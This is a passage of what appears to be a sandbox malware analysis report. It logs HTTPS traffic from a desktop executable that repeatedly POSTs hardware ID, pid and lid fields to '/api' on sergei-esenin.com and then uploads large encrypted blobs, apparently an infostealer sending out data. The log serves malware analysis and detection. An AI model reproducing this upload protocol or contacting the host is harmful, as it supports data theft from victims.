22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB5962464BDDEB4A8D14650537997C6C--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-22 17:24:26 UTC	1020	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:24:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p3085b3mt94vf0n8tfig1oa0eo; expires=Sat, 15 Feb 2025 11:11:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XkddYmjfps7%2F%2FPhSxD2YF83DQw3G6u5gel50TJlVq1q7l83LCCW5vksmYzGZKLRcDoJOJFcq7WOdvgeDqWb4gTL3%2BFgHtjW2CMIrE19XsYhsQMrGeaxJZLBsVWirIoXSvSkkOA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6b2e4efb5be832-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1164&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13881&delivery_rate=2423430&cwnd=251&unsent_bytes=0&cid=6b85aa3f1f5aa043&ts=1229&x=0"
2024-10-22 17:24:26 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 0d 0a Data Ascii: 11ok 173.254.250.76
2024-10-22 17:24:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49710	172.67.206.204	443	6900	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 17:24:27 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=avJigIQt1MdSY0ZjN3a6O7NpY6JEYHklfwRXfbRyCKo-1729617862-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15080 Host: sergei-esenin.com
2024-10-22 17:24:27 UTC	15080	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 35 39 36 32 34 36 34 42 44 44 45 42 34 41 38 44 31 34 36 35 30 35 33 37 39 39 37 43 36 43 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB5962464BDDEB4A8D14650537997C6C--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-22 17:24:27 UTC	1015	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:24:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a9ctna9b6j2a6cv29idk2tkg6h; expires=Sat, 15 Feb 2025 11:11:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n1el3AK5CORVo6dthT%2FsoTrQ1rGl2RNW5aHFFEEsaDTzxnBFiFS0InjHJvv259xRXjjc0uGeWg1PaLGYXWah16vPUyFXgwt4F7HZ2WI9EvX0bohy2vdUjdRgqTkneYlJK48gtQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6b2e55bb95e762-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1695&sent=11&recv=21&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16110&delivery_rate=1739339&cwnd=222&unsent_bytes=0&cid=090efa4975f93fb7&ts=568&x=0"
2024-10-22 17:24:27 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 0d 0a Data Ascii: 11ok 173.254.250.76
2024-10-22 17:24:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49711	172.67.206.204	443	6900	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 17:24:28 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=avJigIQt1MdSY0ZjN3a6O7NpY6JEYHklfwRXfbRyCKo-1729617862-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20247 Host: sergei-esenin.com
2024-10-22 17:24:28 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 35 39 36 32 34 36 34 42 44 44 45 42 34 41 38 44 31 34 36 35 30 35 33 37 39 39 37 43 36 43 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB5962464BDDEB4A8D14650537997C6C--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-22 17:24:28 UTC	4916	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 Data Ascii: s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8
2024-10-22 17:24:29 UTC	1013	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:24:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vanlha6mne1ag6gvqgl88i04dr; expires=Sat, 15 Feb 2025 11:11:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vnmXXX2zsRMV0kEEgm7DBV4XoiUDpcWQ4F0hLItZoSiZOBu7jKBHrmdrFqcHLgKyPmbPHCWtifK8izV6CBaycIzUEeESabMfN3zgd3oTLWNq63TiHteptBcNf0A1jp9CLWTViA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6b2e5eeabae712-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1655&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21299&delivery_rate=1685681&cwnd=247&unsent_bytes=0&cid=12b57a67a84303a2&ts=523&x=0"
2024-10-22 17:24:29 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 0d 0a Data Ascii: 11ok 173.254.250.76
2024-10-22 17:24:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49712	172.67.206.204	443	6900	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 17:24:30 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=avJigIQt1MdSY0ZjN3a6O7NpY6JEYHklfwRXfbRyCKo-1729617862-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1253 Host: sergei-esenin.com
2024-10-22 17:24:30 UTC	1253	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 35 39 36 32 34 36 34 42 44 44 45 42 34 41 38 44 31 34 36 35 30 35 33 37 39 39 37 43 36 43 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB5962464BDDEB4A8D14650537997C6C--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-22 17:24:30 UTC	1014	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:24:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vo53iidsqvfg6gjrlgs70s615p; expires=Sat, 15 Feb 2025 11:11:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BWTnn3fmHCZWzC36sZC9u0IZRdPRAtUOaeqaG8D8Wg7W4AmUvLdJ8FALb9aIfR7JRld9rfyE%2F6cUtIp6J3rDcid5gEkdQ6%2BAw2AnoBmrfKPNLbqankX3IQL3pqylgAf9xad5yQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6b2e68594d6b45-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1194&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2260&delivery_rate=2468883&cwnd=251&unsent_bytes=0&cid=9694d727418de9f1&ts=549&x=0"
2024-10-22 17:24:30 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 0d 0a Data Ascii: 11ok 173.254.250.76
2024-10-22 17:24:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49713	172.67.206.204	443	6900	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 17:24:31 UTC	373	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=avJigIQt1MdSY0ZjN3a6O7NpY6JEYHklfwRXfbRyCKo-1729617862-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570220 Host: sergei-esenin.com
2024-10-22 17:24:31 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 35 39 36 32 34 36 34 42 44 44 45 42 34 41 38 44 31 34 36 35 30 35 33 37 39 39 37 43 36 43 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB5962464BDDEB4A8D14650537997C6C--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-22 17:24:31 UTC	15331	OUT	Data Raw: 4e 67 1f 02 15 42 ea e9 bd 66 36 0d 37 49 e1 7a f0 e1 f9 14 1f 40 a6 8b fc 54 54 81 aa 03 0f fa dd 80 c3 6d c9 cf 12 ad 94 99 1d 8b 66 70 74 37 cc 15 16 da 14 c7 68 a1 e0 7b fc eb 11 ea 1f af 0c d9 c4 aa 0d 29 3e ff 66 37 f7 d4 ce 8a 6d cb 94 8a e5 5c f7 7d 34 0d 07 a6 98 5e cd ac f4 05 c3 87 f2 cd 8c a4 3e ee d8 76 d3 9f 42 55 a0 cb f7 df 16 9c f0 ca d5 70 ae 41 30 fb 59 56 56 a7 af c4 76 c3 14 f7 db 8c 80 87 f3 35 21 f3 86 e2 59 48 05 fa 61 6c b5 1b 03 43 11 c9 26 48 9a fc 3e 72 7a a4 ca 1e 5d 57 68 61 1a b7 c3 67 6d f0 78 ef 81 c5 1b c6 86 0d 28 31 bb 1e e3 0c fc 35 7d 1b 25 45 f6 b0 7d 66 8d a4 f8 94 0a 6d a6 ad 46 94 22 c1 cf 0a 32 69 92 5a e6 16 2d a0 a7 63 36 2d 6a fc ff 92 ce af a9 31 c1 04 4c 90 f3 71 85 6b 55 41 bc 24 08 ae 84 4a 25 08 47 9a e0 Data Ascii: NgBf67Iz@TTmfpt7h{)>f7m\}4^>vBUpA0YVVv5!YHalC&H>rz]Whagmx(15}%E}fmF"2iZ-c6-j1LqkUA$J%G
2024-10-22 17:24:31 UTC	15331	OUT	Data Raw: a5 5b e3 9d 3f 42 47 06 a9 c2 5d 52 f7 b5 b6 a6 9a 8c fc 04 eb ed c3 4a 4e 25 b5 aa af 95 fb 63 cb 38 30 2c 0e 2b 52 15 e2 4b 1b 26 0e 34 2b a1 f4 73 26 43 c3 0d fb 46 0c 8b b6 be af 8e f7 c2 fe 76 c3 9d 04 d4 05 d4 c5 58 03 f7 1f ef d4 12 04 f7 af bb 78 37 32 15 af a2 1c 87 12 da 1d 14 22 7b 3c 5e 56 a5 69 87 3c 30 ba f8 86 c1 be 8c 75 56 8b 2f 35 b3 21 c0 e6 d6 19 f8 48 9c 20 aa ef 9b 82 79 8c 99 19 f5 59 b9 8a d8 b7 3b f4 66 a9 a2 e6 6a 93 d3 e6 9f fa 90 fe 53 54 b8 45 26 dd 29 52 ea 32 0b 1f 12 fc f1 3e 7c 63 c6 a8 86 56 63 44 10 75 46 99 56 44 6b ea 47 c4 e4 1f bf b7 d7 30 6f e7 f6 c8 3b 20 e2 53 87 8f 09 5a 2d 4c ee 62 19 7c 2d a5 a1 c1 ad 46 37 d7 3b 95 d6 8c d2 9d fb 89 e4 5a c1 16 2d ef a3 ff a0 c7 b0 e9 22 66 39 ca b2 27 09 e6 bb 95 06 ab dd 2a Data Ascii: [?BG]RJN%c80,+RK&4+s&CFvXx72"{<^Vi<0uV/5!H yY;fjSTE&)R2>\|cVcDuFVDkG0o; SZ-Lb\|-F7;Z-"f9'*
2024-10-22 17:24:31 UTC	15331	OUT	Data Raw: 45 77 bd fb d9 1b 7a 59 f4 a5 10 a9 16 0e c8 99 ce a7 85 19 2a f0 d2 e5 02 63 38 dd 9f 84 53 36 b2 80 79 de 4c 10 ad e1 62 b1 16 89 28 fb 61 47 82 79 63 ed 5d 69 f4 9e 86 82 bf 0a a5 79 a0 a9 96 a2 ae 72 00 26 96 ad 1c 22 dd 1b 69 fe 9d d5 14 a7 ce 01 53 de b9 69 74 6e cb 33 0a 86 da eb 9c b7 5f 58 7c 50 59 7d fe 72 a8 4e c9 42 71 ee 21 7d 23 5d 31 7f d0 39 2f 5d b2 bc 5a 5a 55 fd e9 e5 c3 ce 5e a2 ae 52 fe b4 b4 b0 3c 16 dc fc 95 17 fa ad 33 d8 48 27 82 d2 eb 24 70 42 19 7f 41 92 60 1b ca 0f 96 17 f5 76 c5 3c a6 8c 6b 28 55 5d 03 78 11 32 36 68 92 27 fc 33 be 46 77 bd e6 6f d6 2d 62 28 c9 47 54 68 f4 61 bf 14 d2 41 36 bd e3 75 a0 73 b8 23 84 33 46 53 38 65 5e d8 59 a5 d1 99 25 97 7a c2 69 71 41 68 60 61 e3 49 d9 cd d7 db 93 16 eb 3e 09 17 8f 79 38 a4 55 Data Ascii: EwzY*c8S6yLb(aGyc]iyr&"iSitn3_X\|PY}rNBq!}#]19/]ZZU^R<3H'$pBA`v<k(U]x26h'3Fwo-b(GThaA6us#3FS8e^Y%ziqAh`aI>y8U
2024-10-22 17:24:31 UTC	15331	OUT	Data Raw: 0a e9 94 ad 22 0c 41 1c 3b 08 61 2f 82 67 10 2e 4b 47 c5 0c 0e ac 5e ab 70 7d 12 8a 9b 1e d6 60 fa e8 0b 27 9c 1b 38 59 a0 e6 c1 6e a9 f0 39 e0 05 75 8f e7 95 70 8c 40 93 0e 5b 0c 34 cf 98 9a a6 33 3b 70 1e 38 9e 2b b1 8b 1c 06 66 29 97 26 a0 b9 87 85 65 46 00 07 7b 08 97 6e 37 c3 8e 3a 52 c0 15 03 97 c7 4d 19 ce 4e d5 1c eb 61 76 66 a9 ba 79 7a 5a ca 72 d6 22 d4 c5 d3 a0 4d 91 90 7a 77 12 1f d8 ba 16 f5 0c 8e 11 5f 0c 30 32 a0 73 9c 6a 12 c9 4d 25 28 71 70 80 ed d4 a3 9a 59 19 0e 7b 35 f6 88 25 2f d6 89 26 94 06 86 87 87 3c 75 00 ab 83 b6 3d 14 e3 13 8a ca d3 e4 40 55 20 ff 80 d8 2a 9d 2d e2 f8 44 05 fc 71 ee d3 7d 3d 1e 06 12 5c c3 83 dd d0 ed cf 28 ed d2 d9 b0 9a 97 1c 0c 4f 8e b6 84 e2 0b 37 9b 35 b2 03 21 01 ed ed 09 67 0c 8f 99 9a c3 0a 76 14 b1 dc Data Ascii: "A;a/g.KG^p}`'8Yn9up@[43;p8+f)&eF{n7:RMNavfyzZr"Mzw_02sjM%(qpY{5%/&<u=@U *-Dq}=\(O75!gv
2024-10-22 17:24:31 UTC	15331	OUT	Data Raw: 1b 97 ae 2d 16 c8 f3 9f f4 c4 99 1d 93 98 f9 eb 8c 05 4b b6 6d 3f ab ba 78 be c9 44 b0 21 56 eb 6c 73 45 88 38 79 68 56 c0 fb d1 44 72 e1 7f 5f d7 c1 7a 7a e2 d7 56 9e 8d a2 d5 da a7 d1 b6 6e a9 71 0c 14 18 65 23 04 52 27 dd 5c 9c 98 12 59 7c 6e 7e 05 81 51 26 03 85 0b 5f b5 35 1d d4 c7 c1 6a 9b 7a 96 0e 66 01 87 bf d2 69 f3 46 63 e8 94 69 c1 2d 68 d4 4e ff a0 b5 6b 3d 0f 2f c4 b3 63 c0 56 bc 6c fd e3 76 59 b5 f0 10 48 cc 33 aa 21 57 ec 5b 3d 47 37 9f 4c f3 c7 dd 88 b2 7d 48 32 01 6d 65 9c bb a7 9b dc 14 9c 7d e2 d3 6e ad bd 5b 11 68 9d 69 a6 1d d5 ce 28 e2 08 ad 0b 2e 1a f7 f5 9e 34 4f 47 99 a0 8e 85 a6 16 24 6a 5c 36 21 79 89 36 38 e3 04 eb 8b cd c9 59 7b e5 92 7b c4 6f a3 6e 57 e9 ad ab 60 8e cd a8 0d 86 ea e1 12 e7 8d 5b 24 8b f8 69 04 be a2 15 8e 84 Data Ascii: -Km?xD!VlsE8yhVDr_zzVnqe#R'\Y\|n~Q&_5jzfiFci-hNk=/cVlvYH3!W[=G7L}H2me}n[hi(.4OG$j\6!y68Y{{onW`[$i
2024-10-22 17:24:31 UTC	15331	OUT	Data Raw: d0 4c 63 b5 66 56 21 58 f4 4a 73 96 dc 66 f2 26 5d 2b a2 72 c2 70 80 b3 95 cf 0e 3a 31 32 1c 47 65 c4 9c d9 e6 a5 8a 76 e5 f7 4b 70 cc 03 58 6a f3 1f f8 57 cf 54 1c 8f 5d 08 5a 55 8b 63 aa 45 53 d5 42 86 a1 ea b0 86 38 25 9b bf fe fb 4b 09 ce 97 01 ec 52 70 a3 98 78 91 44 be 28 dd b9 d5 7d e1 cd 70 fe 2e fe 6f 7d e9 e4 4b 72 3a c9 d3 c3 ef 55 5e 38 5c 1c 6a 17 c5 cf 8e 7e 69 a9 a6 7c bd f1 f0 9f dd 82 72 1f 0e 4a ab e6 05 e5 fc 37 4b c6 f1 4d 2a 9d c5 5d 72 6d bf a4 66 62 02 8c 75 38 52 ef 4e 12 4e 5c c3 c9 9d 1e ab 31 1f 64 d1 26 3e f9 dd a4 8f 1e d9 f7 e8 b0 a0 b6 26 01 bb 3b f8 a7 c9 e3 2b f7 28 73 6f 25 f2 06 cb bf bf 0b fb 7e 53 29 20 c5 a4 ac e1 c7 d7 94 17 ef a4 34 8a 3c ae 9b bf bb 1d 4e 3f fd 55 78 bb c8 7c 8d 9b ef 68 58 79 2d ba fa 7d a3 41 d7 Data Ascii: LcfV!XJsf&]+rp:12GevKpXjWT]ZUcESB8%KRpxD(}p.o}Kr:U^8\j~i\|rJ7KM*]rmfbu8RNN\1d&>&;+(so%~S) 4<N?Ux\|hXy-}A
2024-10-22 17:24:31 UTC	15331	OUT	Data Raw: 17 c8 46 b7 dd 17 26 87 5d 7f 79 18 b5 f1 23 e0 1a 5a a5 76 fc e0 73 51 2b e1 53 93 7b bf 70 83 e8 01 f5 93 80 f8 b8 8c db 5a 65 d8 22 22 b8 b0 6e f3 ee 6e db b5 d7 7f a8 79 fe 4b 3b c8 a8 44 fe 1c 4b b5 14 d0 b8 34 d8 33 fc 83 64 96 a9 8e 48 65 07 ef 06 0d 97 01 d9 40 50 d6 31 fb 8b f7 82 82 89 85 d5 cf 9a a2 a8 07 56 97 1f 7f 85 8e f1 a1 95 6d 03 17 0d b9 2f 95 40 2a 00 bd 25 a7 02 ff 86 88 97 22 bf 38 31 ba af 17 87 47 f0 63 90 ec 33 7f e4 ea 84 53 b6 fb 03 f8 75 f0 93 70 94 53 68 9f f0 c1 39 b9 03 4a 47 1f e0 26 31 57 ae 53 e4 b1 99 e8 60 f5 f6 9e e9 cb db d3 42 9a 7a 8f 7f 0b bb dd ef f7 05 56 42 8c 1c 22 03 85 a4 d7 6d 0f 02 e0 2f 0f 79 9e 16 01 f1 38 70 de 64 80 67 71 2d e8 9e 10 e5 60 ab 39 a0 bf 7f 3c 72 fe 6b bd 2a 14 ae 86 bf 81 05 b2 cc e3 87 Data Ascii: F&]y#ZvsQ+S{pZe""nnyK;DK43dHe@P1Vm/@%"81Gc3SupSh9JG&1WS`BzVB"m/y8pdgq-`9<rk
2024-10-22 17:24:31 UTC	15331	OUT	Data Raw: e0 70 04 76 c8 17 29 28 80 eb 75 99 e4 7a 7f 95 0a 6d 5f eb e1 07 af 18 8e a8 bf 82 f8 70 59 84 36 08 79 e9 2b 70 cf 9e 42 1d 6a 61 3e 6c b2 18 c1 c6 fb 42 8d 6b 1d 4a 9a 87 60 4d dc b1 c3 b0 e1 a4 c8 b7 cb 74 53 5c e1 c9 11 42 5a f8 a9 dd a6 0a e7 48 4b 59 6a d1 7f 05 12 a2 f5 34 65 de 7d 1b cd 54 18 fd b6 69 d5 43 f8 e4 36 74 06 6f 0d 9a 7f af a2 de bf 9c 2b 54 fb fa 3c 63 d1 5e 98 9d 27 90 78 ca 11 36 6b 08 fd 85 f9 99 47 56 92 9c 7d a9 52 93 ba 12 e3 63 61 e6 b7 d5 67 a7 a3 5a 1b cb 11 56 da 26 f3 1a 27 5a 66 e7 f1 6a 54 18 7c fb 3e d2 8d cf fa 8d a2 41 5d 7d c8 50 46 04 29 ef 1d da 6e ac 46 5f 58 50 9a 08 a7 23 c8 1e e8 eb 02 3a 2e 9c d7 f2 78 2b b2 b9 00 f0 6e 58 89 0a 33 d9 7f 3d 4f cb b2 32 45 17 fc 62 9f 61 34 ed 72 2a 85 64 f7 62 88 3b 64 04 4f Data Ascii: pv)(uzm_pY6y+pBja>lBkJ`MtS\BZHKYj4e}TiC6to+T<c^'x6kGV}RcagZV&'ZfjT\|>A]}PF)nF_XP#:.x+nX3=O2Eba4r*db;dO
